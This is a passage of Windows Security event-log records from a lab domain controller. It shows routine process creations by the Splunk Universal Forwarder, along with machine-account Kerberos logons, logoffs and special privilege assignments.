Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257035 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x49A8E5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257034 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x49A8E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59304 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257033 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x49A8E5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:04:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257037 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:04:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257036 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:04:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257038 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd14 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:04:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257039 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257040 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:04:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257042 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:04:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257041 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:04:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257045 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x49DE71 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:04:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257044 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x49DE71 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59317 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:04:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257043 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x49DE71 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:05:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257047 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x554 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:05:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257046 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:05:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257048 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:05:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257049 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:05:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257050 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257052 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257051 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc54 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:05:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257055 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A13C4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:05:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257054 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A13C4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59331 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation 